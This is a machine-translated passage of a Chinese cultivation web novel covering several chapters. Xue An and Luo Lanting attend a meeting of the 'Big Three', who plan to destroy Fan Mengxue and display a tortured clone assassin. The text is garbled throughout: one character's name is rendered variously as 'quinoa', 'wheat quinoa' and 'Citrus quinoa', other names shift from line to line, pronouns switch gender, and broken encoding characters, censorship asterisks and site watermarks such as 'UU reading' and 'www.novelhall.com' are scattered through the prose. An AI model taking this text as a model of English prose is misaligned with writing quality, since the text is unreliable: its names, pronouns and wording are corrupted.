    At that time, Luolan Pavilion had seen such a scene, and he was shocked.


    Then she was held in her arms by the setting sun, who was completely at a loss, and killed her again.


    Luo Lanting had never seen such a scene, and the blood seemed to stain the sky red.


    Those so-called friends who used to have smiles all became fierce and vicious at this moment, and they wished to tear them apart on the spot.


    But they still underestimated the strength of the Falling Sun. As the direct disciple of that person, he unexpectedly broke out of the siege miraculously.


    But the setting sun, who was already seriously injured at the time, knew very well that these people would never let themselves and their sisters go. There was only one way to survive, and that was to leave high ranks.


    But it''s not going to the upper level, on the contrary, it''s going down.


    Because the Falling Sun is very clear that he, as his disciple, has been violently attacked. This can only explain one thing, that is, his master must also have something wrong now.


    So he went to the lower cities without hesitation.


    In the end, he fell into the bottom rank, and he personally created the Evil Flower, and began to train Luolan Pavilion with hell-like difficulty.


    At that time, Luolan Pavilion had cried and made troubles, but in the end he couldn''t make the elder brother who had been very fond of him shaken.


    She had no choice but to accept the reality and quickly matured.


    then����.


    When the setting sun fell, he died.


    Die in the layout of those who still refuse to give up the pursuit.


    It wasn''t until the moment when he picked up his brother and felt his body gradually become cold in his arms, did Luo Lanting understand why his brother wanted to mature as soon as possible.


    Because he knew that he would definitely die!


    So before he died, he wanted his sister to have as many opportunities as possible to live.


    This thought was like a sharp knife, inserted straight into Luo Lanting''s chest and abdomen, and stirred frantically.


    She couldn''t say a word to him until the elder brother was fascinated.


    But she knew that her brother had only one idea, and that was to let herself live well.


    So she didn''t cry, but buried her elder brother''s body very peacefully. The ones who were buried together, and all the kindness and weakness of her childhood.


    She wanted revenge, very, very much.


    The kind of crazy thinking.


    But she also knew very well that she couldn''t do it herself.


    Just a supported Star Luo Dao, UU reading can''t beat it by himself, how can it be able to deal with these high-level powerhouses?


    Such a huge gap is enough to make a direct collapse, but she has survived.


    It wasn''t until she met Xue An that she set foot on the high-level land again.


    So many thoughts flashed through Luo Lanting''s mind, making her stand still, her eyes full of pain and confusion.


    Xue An didn''t urge, but just stood not far away and watched quietly.


    It wasn''t until a long time that he said lightly: "Go?"


    Luo Lanting breathed out slowly, the confusion in his eyes gradually faded, and he nodded solemnly, "Go!"


    "Good!" Xue An smiled slightly, "Let''s go then!"


    After all, he walked forward first.

 Chapter 1653： Luo Luo, are you Luo Luo?

    For these high-ranking powerhouses, there are few things that can arouse their interest.


    But this time it was an exception.


    Because this time, Zeng Hong, Shang Peng, and Yu Yang jointly sent out an invitation to discuss important matters together.


    As for what matters, the invitation letter didn''t say anything.


    Because of this, the entire high-ranking is boiling over.


    People are very curious, what can cause the three adults to join forces?


    In this case, although there is still a full day before the meeting, the meeting venue has become lively.


    Many people who were a little further away have arrived early.


    In fact, as far as they are strong, even if they rush here at the time, they will not miss the time.


    But the matter is important, no one wants to fall behind others.


    In contrast, the sub-level people seem a bit unremarkable.


    The realm lord Xioming led the crowd outside the venue, and then quietly said to Xue An with his spiritual thoughts.


    "Master, this is the meeting place chosen by the three of Zeng Hong!"


    Xue An raised his head and looked at this magnificent conference venue.


    For these powerhouses, building a magnificent and tall building couldn''t be easier.


    So this also led to the higher the paradise lost, the larger the area of ??the city.


    Because the stronger people are, the more they will build magnificent houses for themselves, and the relative urban area will increase.


    "Master, shall we go in?" Xiaoming asked in a low voice.


    Xue An retracted his gaze and nodded slightly, "Go!"


    "Yes!"


    Fierce Ming took the lead, leading the way, and everyone followed and walked into this venue.


    The space inside is much wider than it looks outside, and the furnishings are extremely luxurious.


    now.


    Those who had already entered the venue gathered together and whispered about the upcoming meeting.


    When Xue An and others walked in, they naturally attracted a lot of curious eyes.


    But when they saw people from the next level, these eyes immediately became full of disdain, and some even snorted coldly.


    "Why are the subordinate wastes coming to join in the fun?"


    The voice is full of contemptuous contempt.


    The Chi Xiao and others who followed Xue An were all angry when they heard this.


    Especially that Liu Cai was full of anger, "I actually look down on us? Doesn''t he know how good the master is?"


    That''s right!


    After being transformed by the reversal of the Five Elements Reincarnation Array, the Liu Cai''s attitude changed 180 degrees.


    He was full of disdain for Xue An before, and now he has become Xue An''s most loyal admirer.


    So after hearing these malicious words, he was so furious.


    Xue An just smiled faintly when he heard the words, and didn''t even think about it.


    For him, the verbal clamor is not even qualified to make him look up.


    After all, everything still depends on strength.


    Everyone was about to go to the corner and sit down. At this moment, they heard a shocked voice coming from the side.


    "Luo...Luo? Are you falling?"


    This title made Luo Lanting feel like being struck by lightning, and when she looked around, she saw a girl in costume standing not far away looking at it with amazement and disbelief.


    When the two of them looked at each other, the girl''s expression changed drastically. She looked around anxiously, and saw that no one was paying attention, so she hurried forward and grabbed Luolanting��s Wrist.


    "Luoluo, my God! Are you still alive?"


    There was a complicated look in Luo Lanting''s eyes, and he smiled sadly, "Yes! Of course I am still alive. Are you disappointed about that?"


    "What are you talking about? I''m so happy to see you alive!" The girl said in a puzzled manner.


    Luo Lanting smiled, but said nothing.


    The girl looked around again, then came forward, and suppressed her voice extremely low, "Luo Luo, why did you get here? Don��t you know that many people are looking for your brothers and sisters? Get out of here quickly. , Otherwise you would be too dangerous if you were discovered!"


    Seeing the anxiety on the girl''s face, Luo Lanting was silent for a moment, then shook his head, "Thank you for your reminder, but I won''t leave!"


    "Oh, Luoluo, why are you so stubborn? Do you know who the meeting is going to be this time? That''s the Big Three! If you are discovered, you will definitely die without a place to burial, listen to me, and leave here quickly , The farther you can escape, the better!" The girl stamped her feet anxiously.


    There was a soft light in Luo Lanting''s eyes, "Mai Cheno, thank you for your kindness, but I said I won''t leave, so I will never leave!"


    This girl was Luo Lanting��s best friend when she was a child, and she was also the daughter of Mai��s family, named Mai Cheno.


    Mai Chen was crying anxiously, clutching Luo Lanting''s wrist, "Luo Luo, what do you want to do if you don''t leave? Promise me, don''t do stupid things!"


    Luo Lanting calmly grabbed the quinoa and pushed away, and said lightly: "What I do has nothing to do with you. Please go!"


    "You..." The quinoa was stunned.


    She didn''t expect that Luo Lanting would have this attitude towards herself after a long absence.


    At this moment, Xue An walked aside and smiled faintly, "What? Your friend?"


    Luo Lanting glanced at the quinoa with a complicated look, and finally shook his head resolutely, "No!"


    The tears of wheat quinoa came out, and his lips trembled and said, "Why... Luoluo, why are you doing this to me?"


    Luo Lanting turned his head stubbornly, and said coldly: "There is no reason, and I don''t want to see you again, you go quickly!"


    Mai Chen wiped away the tears from the corners of his eyes, first looked at Xue An and the others with some doubts, and suddenly thought of something, his complexion became extremely pale.


    "Luoluo, it doesn''t matter if you treat me as a friend it doesn''t matter! Tell me, what do so many of you want to do here? Do you want to take this opportunity to retaliate?"


    Luo Lanting didn''t say a word.


    But her silence further confirmed the speculation in Mai Cheno''s heart, "Don''t be stupid, okay, this meeting was held by the Big Three in person, and the strong from all sides have come. You are purely looking for death by doing this!"


    If it weren''t for worrying about being seen by others, quinoa would really want to roar.


    But Luo Lanting didn''t want to listen to her anymore, and saw her salute Xue An, "My lord, let''s go!"


    Hearing Luo Lanting calling Xue An as an adult, Mai Li''s eyes lit up. He looked at Xue An carefully, but soon shook his head disappointed.


    "Luo Luo, if you want to rely on this person to help you get ahead, you would be wishful thinking, listen to me, hurry up! You still have a chance, or you just want to go but can''t go!"


    "Enough!" Luo Lanting suddenly shouted.

 Chapter 1654： What if I have to get ahead?

    Someone in the distance took a curious look at this side, and when they saw two young girls talking, they thought it was a child who was stunned, and couldn''t help but smile knowingly, and didn''t take it seriously.


    The quinoa was stunned and looked at the hideous Luolan Pavilion blankly.


    "Citrus quinoa, I have already told you that we are no longer friends. I understand your concern, but please stop interfering in my affairs, understand?"


    "Why... why! Why do you treat me this way?" The tears of wheat quinoa were almost like a flood that burst a bank.


    "Why? Haha..." Luo Lanting sneered a few times, "This will ask you what the Mai family did before!"


    The quinoa was taken aback.


    Luo Lanting lowered his gaze, "My Cheno, I am thinking about the previous friendship, I don''t want to say anything else, just tell you, from now on, there will be no contact between us, you will treat me as dead!"


    After that, she turned around and left. Suddenly, it seemed that she had thought of something. She added solemnly: "Also, this lord is my lifesaver, so please be respectful, otherwise I am It will be ruthless!"


    After that, she nodded at Xue An and left without hesitation.


    Mai Chen stood there blankly, as if he hadn''t woken up from Luolan Pavilion''s words of the storm.


    What do we mean by the Mai family?


    What is she talking about?


    These thoughts entangled in the mind of quinoa, which made her puzzled.


    At this moment, Xue An smiled slightly at her.


    "You just said that you want to rely on me to get ahead is wishful thinking?"


    The quinoa was slightly startled, and then apologized to Xue Anlian, "I''m very sorry, I just said nothing, how offensive to you! I''m really sorry!"


    After that, she turned around and left in despair.


    At this moment, Xue An''s indifferent voice came from behind her.


    "What if I really make a point for her?"


    The quinoa staggered and almost fell to the ground, then turned around and looked at Xue An blankly, "What...what do you mean?"


    "It means it literally!" Xue An said with a smile.


    "Didn''t you say that this meeting was held by the so-called Big Three? Then I want to try how powerful these Big Three are and how? What do you think?"


    If possible, quinoa really wants to laugh out loud.


    These days, some people really dare to say anything!


    An ordinary teenager dared to say such arrogant words, this is no longer arrogant in the eyes of Mai Cheno.


    And there is only one possibility for a teenager to suddenly say such big words, and that is to try to use this method to win my attention.


    In this way, quinoa has been seen a lot since childhood.


    Unexpectedly, this young man who was called an adult by Luo Luozun was actually such a person.


    But in this case, wouldn''t the situation be more worrying?


    Thinking of this, the eyes of quinoa could not help but become cold, and then took a deep breath and said in a cold voice.


    "I don''t know what method you used to make Luoluo so convinced of you, but I just want to say that in this place, you''d better put away all your arrogance, otherwise you might not even know how to die!"


    "Why? Don''t believe it?" Xue An smiled coldly.


    Wheat quinoa snorted, turned and left.


    She thought that she had had enough of this young man''s arrogance, and her heart was full of sad thoughts.


    Luoluo, aren''t you always smart and tight? Why would you be deceived by such a guy?


    At this moment, Xue An''s voice came from behind again.


    "Remember these words, because soon you will know whether I am arrogant or the Big Three deserve to die!"


    In the heart of wheat quinoa, it was as if there were 100,000 horses flying by.


    How much self-confidence does this young man have to say such a thing?


    So she quickened her pace and left.


    When the wheat quinoa returned to the area where Mai''s house was located, her father glanced at her, "What''s the matter? Where did I go? Why didn''t I see you?"


    "Oh! I just met a friend and said a few words!" Wheat quinoa lowered his head and explained in a low voice.


    The father of wheat quinoa didn''t notice anything unusual, and turned around to continue talking with a few old friends.


    "Come here!" Mai Lin, Mai Lin''s eldest brother, shouted with a smile.


    The quinoa walked over, and Mai Lin handed over a cup of tea, "Drink some tea, I made this specially for you!"


    For his little sister, Mai Lin is very spoiled.


    The wheat quinoa took a sip in a daze.


    "How is it, is it delicious?"


    How can wheat quinoa want to taste tea now!


    He nodded very perfunctorily, then gritted his teeth and asked in a low voice: "Brother, can I ask you something?"


    "Let''s talk about it, just say something directly, why are you so polite?" Mai Lin said with a smile.


    Mai Chen confided, "Big brother, I want to know what happened when I left home?"


    As soon as he said this, Mai Lin''s expression changed drastically. He first raised his eyes and glanced at his father''s side. Seeing that he was still talking and laughing with a few old friends, he didn''t notice this side at all, so he relaxed a little. Then lowered his voice and yelled.


    "Quinoo, who asked you to ask these questions? If your father hears this, you won''t even be able to eat it!"


    "But..." Mai Chen looked up, eyes full of tears, "I really want to know what happened! What crime did Luoluo commit and were expelled from the Lower Realm?"


    Mai Lin stayed silent for a moment, and finally sighed, "Don''t ask, it''s far from something that can be said clearly in one or two sentences, and it''s not something you should care about. Just remember that they are all dead... That''s it!"


    After that, Mai Lin drank the tea in his hand, then turned and left.


    Cheno looked at his elder brother''s back, his eyes were blank.


    Because she knew that the best relationship at the beginning was not she and Luo Luo, but Mai Lin and Luo Setting Sun.


    "You said that their brothers and sisters are dead, but Luoluo is clearly alive!" Mai Chen whispered softly.


    For these strong men, one day passed quickly.


    By the time the meeting was scheduled to be held, the venue was full of excitement.


    Powerful people from all sides stood here full People are talking about the upcoming meeting.


    That is, when the atmosphere reached the climax of the excitement, the three figures gradually emerged above the theme.


    In the blink of an eye, Zeng Hong, Shang Peng, and Yu Yang appeared in front of everyone.


    The strength of the three of them may not be the strongest among the high ranks, but because the three of them are similar and help each other, forming an iron triangle, they are also called the Big Three.


    And because of this, they will have such a powerful appeal.


    After seeing the crowd underneath, Shang Peng nodded in satisfaction and coughed slightly.


    The audience quieted down instantly.


    Then Shang Peng smiled slightly and said lightly: "This time the three of us invite you to come and discuss one thing! That is..."


    "How to deal with the dark princess together, Fan Mengxue!"

 Chapter 1655： Dark killer

    oom!


    The audience was in an uproar.


    The dark princess Fan Mengxue''s name seemed to have some kind of magic power, which made everyone feel discolored.


    The second-tier realm master is naturally no exception. He muttered with shock on his face: "Are you actually going to deal with this existence?"


    Immediately he was shocked, as if he was thinking of something, and hurriedly said to Xue An on the side: "Master, they said they have to deal with..."


    Before the rest of the story was finished, Weiming was stunned.


    Therefore, at this moment, Xue An''s expression on his face was extremely solemn, and his body was filled with a terrifying killing intent.


    This couldn''t help causing Xiong Ming to swallow all what he wanted to say, and a question arose in his heart.


    Master, what''s wrong?


    Why was the reaction so big after hearing this?


    Not only him, including Luo Lan Ting, all people in the next ranks have noticed Xue An''s strangeness.


    But they didn''t dare to ask, they could only stand behind them silently, waiting quietly.


    At the same time, the audience also boiled over.


    Many people were frightened by it, but there were also many people who seemed to see an opportunity for further progress.


    "Master Shang, may I ask the three of you to deal with the dark princess, or... is there an instruction from above?" A shout came from the crowd.


    Shang Peng was very satisfied with the reaction of everyone present, and even smiled when he heard that, "What do you think?"


    As he said, Shang Peng leaned on the chair comfortably, "Do you think that if there is no such instruction, would the three of us dare to do something to her?"


    Shang Peng''s admission that this incident came from the above instructions so simply and neatly made the eyes of many people brighter.


    "But this dark princess has a dark body, and she has a terrifying talent. She has cultivated the supreme cultivation base in a short time. If you want to deal with her, how easy is it to say?" Someone said hesitantly.


    This is also a question shared by many people.


    Zeng Hong was full of disdain, and sneered: "This lady surnamed Fan is indeed very powerful, but can she be better than the original one? Even he was killed and disappeared, you How long do you think this Fan Mengxue can last?"


    Luo Lanting''s complexion changed because she keenly felt that the existence in Zeng Hong''s mouth should be her brother''s master!


    Shang Peng also said at this time: "Brother Zeng is right, and I can tell you now that the above is clear, as long as this time this Fan Mengxue can be defeated, those who contribute will be rewarded generously!"


    Since ancient times, wealth has moved people''s hearts. Even though ordinary wealth is no longer in their eyes for the strong who can participate in this meeting, what they are facing this time is the promise of the upper-class people!


    The generous rewards in their mouths can be imagined as precious.


    So many people moved for it.


    Xue An looked at him silently, his eyes filled with chills.


    In fact, when he was in the next level, he had already vaguely felt that these high-level movements should be inextricably related to Fan Mengxue.


    Even the sudden disappearance of his old acquaintance was the same.


    But when he heard the three words Fan Mengxue from Shang Peng''s mouth, a crazy killing intent appeared in Xue An''s heart.


    But he didn''t do it right away, because he wanted to see how these people plan to deal with Fan Mengxue, so he never said anything.


    Although most people were already moved by it, there was still a clear-headed person who shouted: "But a few adults, even with the instructions of the upper-class people, we estimate that it will be difficult to defeat the dark princess? Especially heard. There is a great dark assassin next to her. If you want to deal with her, you must first get rid of this dark assassin!"


    "Good point!" Shang Peng couldn''t help laughing and applauding when he heard the words, and then looked around the audience, "As everyone knows, this Fan Mengxue has come to our Lost Paradise for a short time, so although she is powerful, she has a very shallow foundation. We are in a state of isolation and helplessness. It is a good time for us to start!"


    "But as this friend said, if you want to deal with Fan Mengxue, you must first get rid of the dark assassin next to her. As long as this dark assassin dies, Fan Mengxue, who has lost his right-hand man, is in vain! The point to be targeted is this dark killer!"


    "It''s easy to say, but the origin of this dark killer is extremely mysterious, and the information is pitiful, how can we deal with her?" Someone shook his head and said.


    "Hehe, do you really think that the three of me called you to come here just to announce this? You are wrong. In fact, we have a certain degree of certainty to act like this! For example, this dark killer, we are now I already have first-hand information!" Shang Peng said with a full face.


    "What?" There was a commotion among the people.


    Someone couldn''t wait to ask: "Three adults, what is the news?"


    "Haha! You will know when you see it later!" Shang Peng said with a smile, and then nodded at his hand, "Bring you here!"


    The subordinates led away, and after a full cup of tea, they heard a mess of footsteps outside, as well as the sound of heavy fetters.


    Immediately afterwards, a group of people were seen walking into the field slowly, surrounded by a woman whose body was sealed with heavy locks and her mouth was controlled by a special vessel to prevent her from biting her tongue to commit suicide.


    Xue An was shocked when he saw this woman with cuts and bruises, and even the wounds in many places had exposed the bones, Xue An was shocked, and then there was infinite anger in his eyes.


    is her?


    wrong!


    The appearance is, the breath is right, but why is it so weak?


    Countless thoughts flashed in Xue An''s heart, and the murderous intent was so strong that it was almost substantial, and the oppressive sub-level people retreated back and forth.


    If it weren''t for everyone''s attention at this moment to be attracted by this woman ~ www.novelhall.com ~ would definitely notice the strangeness here.


    At this moment, the woman was pushed to the center of the conference hall.


    "Look up!" Shang Peng said with a smug expression.


    Click!


    Following his order, the seal lock that bound the woman began to turn, causing the woman to slowly raise her head.


    At the moment when they met the eyes of this woman, many people who were close to him were so frightened that they took a breath of air-conditioning and backed away.


    What a pair of eyes!


    There is no emotion, no waves, there is just endless nothingness and indifference.


    At that moment, many people even suspected that this woman was not a human being, but a cold machine.


    Xue An was also stunned, and then understood something, forced to suppress the killing intent in his chest and watched coldly.

 Chapter 1656： Since you have done it, please stand up...

    "Do you know who this person is?" Shang Peng came to the woman in a flash, raised his hand to grab the woman''s hair, and asked with a sneer.


    "who is it?"


    "Yes, who is this?"


    Before Shang Peng could speak, Yu Yang, who had been silent for a long time, sneered, and slowly said in a hoarse voice: "She is the dark killer beside Fan Mengxue!"


    what?


    This woman is the dark killer who is famous for Paradise Lost?


    Many people were surprised, but immediately felt that something was wrong.


    If this woman is really the dark assassin, why would the three of Shang Peng spend so much time summoning everyone?


    Besides, that dark assassin is extremely terrifying, can he be caught so easily?


    When everyone was full of doubts, Shang Peng said triumphantly: "Brother Yu is right, this woman is indeed the dark killer, but she is not!"


    Many people were stunned by Shang Peng''s words.


    "Is that right?" someone asked impatiently.


    "Yes, no! To be precise, she is a clone of the dark killer!"


    As he said, Shang Peng grabbed the woman''s hair and yanked back, and the woman''s head fell back, revealing a line of fine tattoos between her neck.


    On top of that tattoo, there was a small five.


    "See? This is her code name. Five means that she is the fifth clone of the dark killer! According to reliable sources, this dark killer has twenty clones, and the fifth is already very high. The clone of! In a sense, she can represent a part of the zero ontology, so we can get many useful clues from her, such as what kind of weaknesses this dark killer has!"


    Shang Peng talked eloquently, and the more he talked, the more excited he became. "The so-called knowing ourselves and knowing the enemy is not dead. As long as we have enough information, will it still be difficult to deal with that dark killer?"


    Only then did people understand what was going on.


    Xue An''s eyes became cold at a speed visible to the naked eye, and the space around his body seemed to condense a little bit of ice.


    But Shang Peng, who was immersed in the beautiful fantasy, didn''t notice this. He stroked the smooth neck of No. 5 killer with his hand with a wicked face, and Jiejie smiled strangely.


    "It''s really smooth and tender skin. Unfortunately, these will soon not belong to you! I know that although you are only a clone, you also have your own thinking! But you are too stubborn, so many cruel punishments have not been able to Let you open your mouth. In that case, I can only dissect you a little bit to see what is going on with you!"


    The vicious connotation contained in these remarks made many of the strong people present slightly changed.


    But the fifth killer didn''t even blink his eyelids, still watching Shang Peng calmly.


    The extreme nihilism and indifference seemed to have turned into sarcasm at this moment, making Shang Peng more and more angry.


    "court death!"


    As he said, his **** were like a hook, and he poked directly into the eyes of the No. 5 killer, obviously intending to dig out her eyes.


    In the Mai family camp, the quinoa was trembling all over, and his complexion became a little pale.


    Her brother Mai Lin sighed when he saw this, then stretched out his hand to block her sight, "Quinoo, close your eyes and don''t look!"


    Not only the wheat quinoa, there are many people who are still kind-hearted, and they turn their heads and cannot bear to look at them.


    puff!


    Splashing blood!


    Then there was a scream.


    "Ah ah ah ah ah!"


    But strangely, this scream was the voice of a man.


    How is this going?


    Everyone turned to look around.


    Seeing Shang Peng covering his palm with his other hand, blood flowed from his fingers, his painful face turned white.


    On the ground were two **** fingers.


    boom!


    There was a commotion in the audience.


    No one thought that Shang Peng, who had just been aggressive and ready to do it, suddenly became a victim.


    But with his cultivation base, it was just **** hurt, even if the fingers were cut off, they should regenerate in an instant!


    But many people didn''t know that at this moment, on the wounds of the two broken fingers, a faint sword light flashed from time to time, preventing the wound from healing, and constantly cutting off the flesh and blood that grew back.


    This kind of pain caused Shang Peng to tremble uncontrollably, and then looked at the crowd with a bitter expression on his face, hissing loudly, "Who is it? Who attacked me secretly?"


    at the same time.


    Zeng Hong and Yu Yang also flew to Shang Peng in an instant.


    Among them, Yu Yang glanced at Shang Peng''s wound, a strange color appeared in his eyes, then looked at the crowd, and slowly said.


    "Is there a swordsman master on the scene? But since your Excellency has done it, please stand up! Otherwise, how can you be worthy of your harsh sword intent?"


    Everyone shook, and then when you look at me and I look at you, they all see the horror in each other''s eyes.


    Who is it that suddenly succeeded?


    The siblings, Mai Quinoa and Mai Lin, were naturally shocked.


    Especially the quinoa, although her cultivation is not very good, she is also quite proficient in kendo.


    She didn''t even see what sword intent cut Shang Peng''s finger just now.


    Therefore, after hearing Yu Yang''s question, she also looked at the crowd curiously, trying to find this swordsman master.


    Everything remains silent.


    There was sarcasm in Yu Yang''s eyes, "What? Don''t you dare to do it? With just this courage, do you dare to repair swords?"


    At this moment, only a light sigh came from behind the three Yu Yang.


    "Oh, I have stood up since I took the shot just now. You can''t see it yourself. Does it depend on me?"


    As soon as these words came out, the three of them turned around and looked at them in terror.


    really.


    Just above the main seat, I don''t know when a Human Race teenager dressed in white appeared, looking at the three of them with a sneer.


    The crowd was silent at first, and then there was a violent commotion.


    "Who is this boy?"


    "I do not know!"


    "I just seemed to see him come in with the next-ranked people!"


    In the discussion , the next-ranked people all appeared behind Xue An under the leadership of Xiaoming.


    Quinoa''s eyes gradually widened, and his mouth couldn''t close in amazement.


    She recognized Xue An at a glance.


    Isn''t this the boy who said to himself before that he wanted to see how the Big Three died?


    That''s right!


    it''s him!


    Because the woman standing behind him is not Luo Luo?


    Oh my god? Isn''t it true that what he said before is not bragging?


    The wheat quinoa was confused for a while.


    As for Zeng Hong, Shang Peng and Yu Yang, their complexions gradually became gloomy.


    Especially Shang Peng, the blood on his fingers had stopped at this moment, but because of the intractable sword intent attached to it, he still couldn''t recast flesh and blood.

 Chapter 1657： Believe it or not, I will let you kneel now

    How could this not make him angry.


    Therefore, he said gloomily: "Good physical fitness, good means! I really didn''t expect that there could be a young powerhouse like you in the next rank!"


    "Thank you!" Xue An smiled faintly, "but I want to declare that it is not me who is strong, but you...too weak!"


    Everyone was speechless.


    This is the high-level Big Three!


    Anything that comes out is a resounding figure, even those big figures in the upper class have to be polite.


    But all this came to the boy''s mouth, but it became so commonplace, vulnerable.


    How can this not be surprising!


    At least Shang Peng and Zeng Hong laughed in anger.


    As for Yu Yang, he was looking at Xue An with a deep gaze at this moment, like a poisonous snake hiding in the shadows and choosing people to eat, trying to find the flaws in Xue An.


    "Good! Good! Good! Sure enough, the hero comes from a young man! I haven''t seen someone as arrogant as you for a long time. At first sight, it''s really funny!" Zeng Hongjie laughed strangely.


    Xue An turned his head and gave him a meaningful look, and then said lightly: "What? You don''t believe it?"


    "Haha! What do you think?" Zeng Hong said with a sneer, and there was a thunderous burst of muscles and bones inside his body. The already tall body instantly rose by one head, like a self. Looking at Xue An with a terrifying face like a monster that came through the land.


    "Let''s say, are you kneeling down and being blown to pieces by my fist? Or are you breaking yourself?" Zeng Hongsheng roared like a giant bell, making many people''s ears buzzing.


    But in the face of such a terrifying power, Xue An was not moved at all, but smiled faintly.


    "Sorry, I won''t choose either way! And believe it or not, I won''t even have to move my hand later so that you can kneel down and beg me for mercy?"


    Xue An''s words caused a lot of people to laugh.


    Zeng Hong even raised his head to the sky and laughed, "Boy, I think you have a problem with your head, or you are frightened! If you don''t move your hands, let me kneel down. You think you are..."


    Before he could finish speaking, Xue An leaned back on the chair and said slowly: "You are so arrogant outside, does your master know?"


    This sentence caused Zeng Hong''s laughter to stop abruptly, and then stared at Xue An, "What do you mean by this?"


    Xue An smiled slightly, "It doesn''t mean anything, I just think, Chu Wuxiang, the hero I, how could he teach a scum like you?"


    Speaking of this, Xue An raised his head and looked at Zeng Hong, whose complexion changed drastically, and said lightly: "Am I right? A traitor from Longxiangmen?"


    Looking at Zeng Hong at this moment, he no longer had the arrogance he had before, and his eyes were full of panic. If you look closely, you can even see that his legs are trembling slightly.


    Even so, he still shouted at Xue An in a fierce manner: "Who are you? Why do you know this?"


    "Who am I?" Xue An sneered coldly, then slowly raised his hand, and the palm that was carved like a sapphire quickly became transparent, and in the end, the blood vessels and bones could even be seen very clearly.


    But even in such a fragile palm, there is great power, and even just a casual grip, the space in the palm is shattered.


    "Who do you think I will be?" Xue An said lightly.


    Zeng Hong''s complexion became pale at a speed visible to the naked eye, and in the end it even became almost transparent, and then muttered absentmindedly: "The sky cicada has no phase power, it is the sky cicada has no phase power!"


    Suddenly!


    As if thinking of something, he threw himself on his knees and fell down in front of Xue An, trembling: "Dare to ask you...what is your relationship with my master?"


    Even though he had been expelled from the teacher''s school, Zeng Hong still did not dare to call him by his first name when he mentioned the master.


    Because he knows better than anyone how terrifying his master is.


    And Tian Cicada''s Wuxiang Gong is his master''s fame stunt, and it is impossible for ordinary people to learn this unless the person who has the closest relationship with him.


    But the young man in front of him did, which all showed that he must have some relationship with his master.


    In addition, he even called his master''s name face to face just now, which corroborates this.


    The more he thought about it, the colder Zeng Hong''s heart became, and his whole body was trembling.


    When Zeng Hong knelt down so simply and neatly, everyone was shocked.


    When Xue An asked Zeng Hong to kneel down just now, many people thought he was joking.


    But I didn''t expect to cash it so soon.


    And the boy hadn''t moved anywhere during the whole journey.


    This is really incredible!


    At this time, Xue An smiled slightly, "Your master? Oh! Are you saying Chu Wuxiang? We should be good friends! Do you know who I am now?"


    In fact, the relationship between Xue An and Chu Wuxiang is more than just a friend. At the beginning, Chu Wuxiang got into trouble because of body refining, and almost fell. If it hadn''t been for Xue An, who had already helped Xianzun at that time, this Chu Wuxiang He was dead long ago, so how could it be his turn to establish Longxiangmen!


    And after hearing what Xue An said, Zeng Hong was simply out of the sky!


    Thousands of calculations did not expect to meet his master''s friend here.


    He knows that he is already a traitor to the master, if the master knows that he is here, according to the personality of the group of master brothers who have been trained in the body, even if they kill Paradise Lost, they will have to bring himself to justice. law.


    Thinking of this, Zeng Hong couldn''t help crying secretly.


    If you knew this earlier, you shouldn''t get involved with these things. It would be great to find a hidden corner to hide!


    But there is no regret that medicine can be sold. He can only bite the bullet and say: "Yes, disciple knows! How offended the disciple just now, please forgive me!"


    Xue An smiled faintly, "Forgive me? No need!"


    Xue An shook his head, and said indifferently: "Since you know that you have done something wrong, then do it yourself! I will save the trouble!"


    The audience was silent.


    Including Shang Peng was a little dumbfounded.


    How did this happen?


    Why did it suddenly become like this?


    Zeng Hong was even more terrified, and said bitterly, "My lord, is there really no other chance?"


    "Yes! Obediently go to the cultivation base, and then be sealed by me, and later I will send you back to the master''s door, and let your master send you away!"


    Zeng Hong Ji Lingling shuddered.


    In that case, he might as well die now.


    But he was so self-determined and his heart was full of unwillingness so he quietly glanced at Shang Peng beside him.


    Shang Peng understood.


    The three of them worked well together, and Zeng Hong was very powerful. If he died like this, it would be of no benefit to his own interests.


    And Zeng Hong is afraid of the identity of this young man, he is not afraid!


    So he took a step forward and said without a smile: "It turned out to be a family after a long time of trouble! Would you like to listen to me?"


    "Listen to you?"


    "Yes, I think there must be some misunderstanding between us, so we should sit down and talk peacefully with each other!" Shang Peng talked freely.


    Xue An slowly lowered his eyes, then smiled coldly, "Talk to you calmly? Do you really think that no one knows what you did?"


    "Believe it or not, I let you kneel down with him!"

 Chapter 1658： Answer me, what is a sword

    Shang Peng''s complexion gradually became gloomy, and his eyes flashed with dangerous light.


    You must know that the injury on his hand still has not healed at this moment, and it is still aching.


    Since he was arrogant and domineering since his childhood, he had never suffered such torture, so he wanted to kill Xue An and soon.


    It was only because of Zeng Hong''s sudden kneeling that Shang Peng thought that Xue An must have a background, so he patiently planned to talk first.


    But now that this Human Race boy is so ignorant of promotion, Shang Peng doesn''t intend to be polite.


    After all, there are still so many people watching at this moment. If you don''t handle it properly, it will also damage your reputation.


    But just when Shang Peng was about to say something, Yu Yang, who had been standing by without saying a word, suddenly sneered, then stared at Xue An with a gloomy face, and said gloomily, "The sword is good!"


    Xue An smiled slightly, "It''s okay! At least there is no problem killing you!"


    Hearing this, many people familiar with Yu Yang''s character couldn''t help but squeeze a sweat for Xue An secretly.


    Among the three giants, Zeng Hong and Shang Peng are arrogant, but at least there are some common sense.


    But this is not the case with Yu Yang. He is simply a total lunatic and cannot be measured by common sense.


    Sometimes just a very inadvertent sentence will provoke his jealousy, which will lead to serious disasters.


    So unless it is really necessary, no one would dare to have more contact with this Yu Yang.


    Now this Human Race boy is blatantly provoking Yang Yang. Isn''t this what it means to die?


    really.


    Seeing that the brilliance in Yu Yang''s eyes became colder and colder, and his pupils were gradually shrinking, eventually becoming only the size of a pinpoint, and then he grinned.


    "Very well! I haven''t seen anyone who dares to talk to me like this for a long time, so I will give you a special favor! I will extract your soul, condense it into my sword soul, and serve me, And never be overborn!"


    The viciousness contained in words is fascinating.


    And while talking, Yu Yang looked at Xue An with unscrupulous eyes, his eyes filled with the triumph of the viper after seeing the prey.


    Don''t look at his aggressive actions and never talk about affection, but in fact Yu Yang is a very cautious person.


    Just after seeing Xue An, he has been silently standing aside to observe, just to see what is so strange about this human youth who suddenly appeared.


    After careful observation, he found that apart from a pair of indifferent eyes, this Human Race boy seemed to have nothing surprising.


    As for the sword intent that had just cut off Shang Peng''s fingers, although it was bitter, it was nothing to Yu Yang.


    Therefore, he finally determined that this human youth was probably bluffing, and his own strength might not be very good.


    At least it will not be his opponent.


    After confirming this, Yu Yang only came forward.


    really.


    Yu Yang saw that after hearing what he had said, the human youth lowered his head slightly, as if he was frightened.


    He couldn''t help feeling even more proud.


    But at this moment, Xue An, with his head down, sighed quietly.


    "In your eyes, what is a sword?"


    The sound was not loud, but it was clearly and unmistakably in the ears of everyone present.


    Especially Yu Yang, he only felt as if a thunder was exploding in his ears, his head was buzzing.


